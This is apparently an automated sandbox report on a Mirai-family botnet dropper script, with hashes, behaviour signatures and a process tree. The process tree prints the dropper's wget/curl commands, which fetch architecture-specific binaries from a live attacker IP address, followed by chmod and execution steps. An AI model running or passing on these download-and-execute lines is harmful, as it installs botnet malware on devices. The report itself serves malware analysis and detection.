Analysis

  • max time kernel
    149s
  • max time network
    158s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    17-12-2024 06:26

General

  • Target

    ohshit.sh

  • Size

    2KB

  • MD5

    14099ca3ba60ee276a8d96c4b47cd58f

  • SHA1

    d46e02797df3f7be4bf440003b2296ffe8992451

  • SHA256

    e9e9f5c2ab6480da0637b837bf75b5fc2ae683e2c1711d8bb2776b617b2fdbc5

  • SHA512

    249ced36cbe0e9ab7f4dabbcfcc1891e3fc582f6ab523a22a3f5bddfc3d9ce83686152cda53a6b4b922fee3b3b5b28436f3342ed31b15fea0a324b0c2f30dab9

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai family
  • File and Directory Permissions Modification 1 TTPs 15 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 15 IoCs
  • Modifies Watchdog functionality 1 TTPs 4 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Writes file to system bin folder 4 IoCs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Checks CPU configuration 1 TTPs 15 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 3 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 28 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/ohshit.sh
    /tmp/ohshit.sh
    1⤵
    • Writes file to tmp directory
    PID:650
    • /usr/bin/wget
      wget http://147.45.125.26/hiddenbin/boatnet.x86
      2⤵
      • Writes file to tmp directory
      PID:652
    • /usr/bin/curl
      curl -O http://147.45.125.26/hiddenbin/boatnet.x86
      2⤵
      • Checks CPU configuration
      • Reads runtime system information
      • Writes file to tmp directory
      PID:672
    • /bin/cat
      cat boatnet.x86
      2⤵
        PID:680
      • /bin/chmod
        chmod +x boatnet.x86 ohshit.sh systemd-private-457e61d7103c41d58a67d7032ced5f62-systemd-timedated.service-I8imt5 WTF
        2⤵
        • File and Directory Permissions Modification
        PID:681
      • /tmp/WTF
        ./WTF
        2⤵
        • Executes dropped EXE
        PID:683
      • /usr/bin/wget
        wget http://147.45.125.26/hiddenbin/boatnet.mips
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:685
      • /usr/bin/curl
        curl -O http://147.45.125.26/hiddenbin/boatnet.mips
        2⤵
        • Checks CPU configuration
        • Reads runtime system information
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:686
      • /bin/cat
        cat boatnet.mips
        2⤵
        • System Network Configuration Discovery
        PID:695
      • /bin/chmod
        chmod +x boatnet.mips boatnet.x86 ohshit.sh systemd-private-457e61d7103c41d58a67d7032ced5f62-systemd-timedated.service-I8imt5 WTF
        2⤵
        • File and Directory Permissions Modification
        PID:697
      • /tmp/WTF
        ./WTF
        2⤵
        • Executes dropped EXE
        PID:699
      • /usr/bin/wget
        wget http://147.45.125.26/hiddenbin/boatnet.arc
        2⤵
        • Writes file to tmp directory
        PID:701
      • /usr/bin/curl
        curl -O http://147.45.125.26/hiddenbin/boatnet.arc
        2⤵
        • Checks CPU configuration
        • Writes file to tmp directory
        PID:724
      • /bin/cat
        cat boatnet.arc
        2⤵
          PID:738
        • /bin/chmod
          chmod +x boatnet.arc boatnet.mips boatnet.x86 ohshit.sh systemd-private-457e61d7103c41d58a67d7032ced5f62-systemd-timedated.service-I8imt5 WTF
          2⤵
          • File and Directory Permissions Modification
          PID:739
        • /tmp/WTF
          ./WTF
          2⤵
          • Executes dropped EXE
          PID:740
        • /usr/bin/wget
          wget http://147.45.125.26/hiddenbin/boatnet.i468
          2⤵
            PID:742
          • /usr/bin/curl
            curl -O http://147.45.125.26/hiddenbin/boatnet.i468
            2⤵
            • Checks CPU configuration
            • Writes file to tmp directory
            PID:746
          • /bin/cat
            cat boatnet.i468
            2⤵
              PID:754
            • /bin/chmod
              chmod +x boatnet.arc boatnet.i468 boatnet.mips boatnet.x86 ohshit.sh systemd-private-457e61d7103c41d58a67d7032ced5f62-systemd-timedated.service-I8imt5 WTF
              2⤵
              • File and Directory Permissions Modification
              PID:755
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              PID:757
            • /usr/bin/wget
              wget http://147.45.125.26/hiddenbin/boatnet.i686
              2⤵
                PID:758
              • /usr/bin/curl
                curl -O http://147.45.125.26/hiddenbin/boatnet.i686
                2⤵
                • Checks CPU configuration
                • Reads runtime system information
                • Writes file to tmp directory
                PID:765
              • /bin/cat
                cat boatnet.i686
                2⤵
                  PID:775
                • /bin/chmod
                  chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 ohshit.sh systemd-private-457e61d7103c41d58a67d7032ced5f62-systemd-timedated.service-I8imt5 WTF
                  2⤵
                  • File and Directory Permissions Modification
                  PID:776
                • /tmp/WTF
                  ./WTF
                  2⤵
                  • Executes dropped EXE
                  PID:778
                • /usr/bin/wget
                  wget http://147.45.125.26/hiddenbin/boatnet.x86_64
                  2⤵
                    PID:779
                  • /usr/bin/curl
                    curl -O http://147.45.125.26/hiddenbin/boatnet.x86_64
                    2⤵
                    • Checks CPU configuration
                    • Reads runtime system information
                    • Writes file to tmp directory
                    PID:783
                  • /bin/cat
                    cat boatnet.x86_64
                    2⤵
                      PID:784
                    • /bin/chmod
                      chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 boatnet.x86_64 ohshit.sh systemd-private-457e61d7103c41d58a67d7032ced5f62-systemd-timedated.service-I8imt5 WTF
                      2⤵
                      • File and Directory Permissions Modification
                      PID:785
                    • /tmp/WTF
                      ./WTF
                      2⤵
                      • Executes dropped EXE
                      PID:786
                    • /usr/bin/wget
                      wget http://147.45.125.26/hiddenbin/boatnet.mpsl
                      2⤵
                      • Writes file to tmp directory
                      PID:787
                    • /usr/bin/curl
                      curl -O http://147.45.125.26/hiddenbin/boatnet.mpsl
                      2⤵
                      • Checks CPU configuration
                      • Reads runtime system information
                      • Writes file to tmp directory
                      PID:788
                    • /bin/cat
                      cat boatnet.mpsl
                      2⤵
                        PID:789
                      • /bin/chmod
                        chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh systemd-private-457e61d7103c41d58a67d7032ced5f62-systemd-timedated.service-I8imt5 WTF
                        2⤵
                        • File and Directory Permissions Modification
                        PID:790
                      • /tmp/WTF
                        ./WTF
                        2⤵
                        • Executes dropped EXE
                        PID:791
                      • /usr/bin/wget
                        wget http://147.45.125.26/hiddenbin/boatnet.arm
                        2⤵
                        • Writes file to tmp directory
                        PID:793
                      • /usr/bin/curl
                        curl -O http://147.45.125.26/hiddenbin/boatnet.arm
                        2⤵
                        • Checks CPU configuration
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:794
                      • /bin/cat
                        cat boatnet.arm
                        2⤵
                          PID:795
                        • /bin/chmod
                          chmod +x boatnet.arc boatnet.arm boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh systemd-private-457e61d7103c41d58a67d7032ced5f62-systemd-timedated.service-I8imt5 WTF
                          2⤵
                          • File and Directory Permissions Modification
                          PID:796
                        • /tmp/WTF
                          ./WTF
                          2⤵
                          • Executes dropped EXE
                          • Modifies Watchdog functionality
                          • Writes file to system bin folder
                          • Reads runtime system information
                          PID:797
                        • /usr/bin/wget
                          wget http://147.45.125.26/hiddenbin/boatnet.arm5
                          2⤵
                          • Writes file to tmp directory
                          PID:801
                        • /usr/bin/curl
                          curl -O http://147.45.125.26/hiddenbin/boatnet.arm5
                          2⤵
                          • Checks CPU configuration
                          • Reads runtime system information
                          • Writes file to tmp directory
                          PID:802
                        • /bin/cat
                          cat boatnet.arm5
                          2⤵
                            PID:803
                          • /bin/chmod
                            chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh systemd-private-457e61d7103c41d58a67d7032ced5f62-systemd-timedated.service-I8imt5 WTF
                            2⤵
                            • File and Directory Permissions Modification
                            PID:804
                          • /tmp/WTF
                            ./WTF
                            2⤵
                            • Executes dropped EXE
                            PID:805
                          • /usr/bin/wget
                            wget http://147.45.125.26/hiddenbin/boatnet.arm6
                            2⤵
                            • Writes file to tmp directory
                            PID:806
                          • /usr/bin/curl
                            curl -O http://147.45.125.26/hiddenbin/boatnet.arm6
                            2⤵
                            • Checks CPU configuration
                            • Reads runtime system information
                            • Writes file to tmp directory
                            PID:809
                          • /bin/cat
                            cat boatnet.arm6
                            2⤵
                              PID:810
                            • /bin/chmod
                              chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh systemd-private-457e61d7103c41d58a67d7032ced5f62-systemd-timedated.service-I8imt5 WTF
                              2⤵
                              • File and Directory Permissions Modification
                              PID:811
                            • /tmp/WTF
                              ./WTF
                              2⤵
                              • Executes dropped EXE
                              • Reads runtime system information
                              PID:812
                            • /usr/bin/wget
                              wget http://147.45.125.26/hiddenbin/boatnet.arm7
                              2⤵
                              • Writes file to tmp directory
                              PID:813
                            • /usr/bin/curl
                              curl -O http://147.45.125.26/hiddenbin/boatnet.arm7
                              2⤵
                              • Checks CPU configuration
                              • Reads runtime system information
                              • Writes file to tmp directory
                              PID:814
                            • /bin/cat
                              cat boatnet.arm7
                              2⤵
                                PID:815
                              • /bin/chmod
                                chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh systemd-private-457e61d7103c41d58a67d7032ced5f62-systemd-timedated.service-I8imt5 WTF
                                2⤵
                                • File and Directory Permissions Modification
                                PID:816
                              • /tmp/WTF
                                ./WTF
                                2⤵
                                • Executes dropped EXE
                                • Modifies Watchdog functionality
                                • Writes file to system bin folder
                                • Reads runtime system information
                                PID:817
                              • /usr/bin/wget
                                wget http://147.45.125.26/hiddenbin/boatnet.ppc
                                2⤵
                                • Writes file to tmp directory
                                PID:821
                              • /usr/bin/curl
                                curl -O http://147.45.125.26/hiddenbin/boatnet.ppc
                                2⤵
                                • Checks CPU configuration
                                • Reads runtime system information
                                • Writes file to tmp directory
                                PID:822
                              • /bin/cat
                                cat boatnet.ppc
                                2⤵
                                  PID:823
                                • /bin/chmod
                                  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.x86 boatnet.x86_64 ohshit.sh systemd-private-457e61d7103c41d58a67d7032ced5f62-systemd-timedated.service-I8imt5 WTF
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:824
                                • /tmp/WTF
                                  ./WTF
                                  2⤵
                                  • Executes dropped EXE
                                  PID:825
                                • /usr/bin/wget
                                  wget http://147.45.125.26/hiddenbin/boatnet.spc
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:828
                                • /usr/bin/curl
                                  curl -O http://147.45.125.26/hiddenbin/boatnet.spc
                                  2⤵
                                  • Checks CPU configuration
                                  • Reads runtime system information
                                  • Writes file to tmp directory
                                  PID:829
                                • /bin/cat
                                  cat boatnet.spc
                                  2⤵
                                    PID:830
                                  • /bin/chmod
                                    chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 ohshit.sh systemd-private-457e61d7103c41d58a67d7032ced5f62-systemd-timedated.service-I8imt5 WTF
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:831
                                  • /tmp/WTF
                                    ./WTF
                                    2⤵
                                    • Executes dropped EXE
                                    PID:832
                                  • /usr/bin/wget
                                    wget http://147.45.125.26/hiddenbin/boatnet.m68k
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:834
                                  • /usr/bin/curl
                                    curl -O http://147.45.125.26/hiddenbin/boatnet.m68k
                                    2⤵
                                    • Checks CPU configuration
                                    • Reads runtime system information
                                    • Writes file to tmp directory
                                    PID:835
                                  • /bin/cat
                                    cat boatnet.m68k
                                    2⤵
                                      PID:838
                                    • /bin/chmod
                                      chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 ohshit.sh systemd-private-457e61d7103c41d58a67d7032ced5f62-systemd-timedated.service-I8imt5 WTF
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:839
                                    • /tmp/WTF
                                      ./WTF
                                      2⤵
                                      • Executes dropped EXE
                                      PID:840
                                    • /usr/bin/wget
                                      wget http://147.45.125.26/hiddenbin/boatnet.sh4
                                      2⤵
                                      • Writes file to tmp directory
                                      PID:842
                                    • /usr/bin/curl
                                      curl -O http://147.45.125.26/hiddenbin/boatnet.sh4
                                      2⤵
                                      • Checks CPU configuration
                                      • Reads runtime system information
                                      • Writes file to tmp directory
                                      PID:846
                                    • /bin/cat
                                      cat boatnet.sh4
                                      2⤵
                                        PID:847
                                      • /bin/chmod
                                        chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.sh4 boatnet.spc boatnet.x86 boatnet.x86_64 ohshit.sh WTF
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:848
                                      • /tmp/WTF
                                        ./WTF
                                        2⤵
                                        • Executes dropped EXE
                                        PID:849

                                    Network

                                    MITRE ATT&CK Enterprise v15

                                    Replay Monitor

                                    Loading Replay Monitor...

                                    Downloads

                                    • /tmp/WTF

                                      Filesize

                                      23KB

                                      MD5

                                      6fe91c74b1b05a80f873aee4469295a1

                                      SHA1

                                      49a298d76e4fbe9eaeac30b8605768dd8e056a13

                                      SHA256

                                      a54abbc376c37db927543c21f7cbf077ee79fe431d1077c097905578d745217d

                                      SHA512

                                      bfc65a89536d21460600b3fc68c79431bfeed5762d361f9de678a86c1d6cfa6d4dd8b9cd9e51e665bb8fd80cb4c17a27040bfa3dd0f701bd188d05e6e5e87ee9

                                    • /tmp/WTF

                                      Filesize

                                      105KB

                                      MD5

                                      22adf97779be193482a6db01193ce210

                                      SHA1

                                      14528e43c9961e659c2da4b6817980f88574f1a8

                                      SHA256

                                      20676259d6cf8fb652401cc7c26a2401f9a1807d525d8827514a1cea33beba5e

                                      SHA512

                                      7ae547f5386f1110425b5ceffb1106a1590e0a4cb5b44bc836bf9c1495ad7d2e18cb8d779ef37363343b2954ee3e9db7365291aacf3f6434a064f0bfb9b4667d

                                    • /tmp/WTF

                                      Filesize

                                      220B

                                      MD5

                                      f1c24d9fa40a047ae22d2d3ae7dfeac9

                                      SHA1

                                      750274b02d5f5b00026a4f55b020f4285c693533

                                      SHA256

                                      219db693bfc6306868548b227030b636aaba7e2b2ad0582a8977ecef92d674bc

                                      SHA512

                                      36bd34e999eb4426823cadcf27076cf1128470e340172336ac3e3bdf3f194d0c873684f67b8d341df85eeb955e3c9dc3657ad7c5f05525e5c254476605d5b259

                                    • /tmp/WTF

                                      Filesize

                                      220B

                                      MD5

                                      a8f502a6fb3b7b940e922c951d9e493a

                                      SHA1

                                      fa94d6dade6bb7537ee3f58f2984b80f4b02dcdf

                                      SHA256

                                      748429c25463cc890809a866bfe2cb313f072be73bf5ea88fb4f65e26aa97bec

                                      SHA512

                                      e4ada74640d3ad58a6181ab1cd05fadd584788806908b00cf80924a19f29118a17f581d72d9abf1aa207f83d1e4ab163ea6c0c1e0ee6f2e211d1e0d366a27338

                                    • /tmp/WTF

                                      Filesize

                                      57KB

                                      MD5

                                      9f4720b3e89b01a76e0cad6f1f9ad931

                                      SHA1

                                      e17ee935e1a7fbd814d2ae2216504010a2e3fb06

                                      SHA256

                                      7c9c17f50036ecd7c6750ef831cce060fcd266f0eae091bc4c9d55fbf7b40efc

                                      SHA512

                                      85ea4b63357452698d39e6456505bd1f58d4b552c377e07062be285eca217618fc688e233f2ef19cc550592244d0e773695d024b1df577e47e67d0c00b79856c

                                    • /tmp/boatnet.x86

                                      Filesize

                                      20KB

                                      MD5

                                      e91063f55319252533dd4b79524515e8

                                      SHA1

                                      f6d254d0a708dd18917a3db48eec8b27fd2c7526

                                      SHA256

                                      81a71e612fb13a5d427bac91e1194caee587393ef18b7bf19ed41ace248ce603

                                      SHA512

                                      ce06b49dede7b5101d49a4cdb2959d44f4da5824e8d8d1bced490e9245e14b540c621f68960be9a14620b5800aa3136363295b269f95f10dd68782fdfba435f5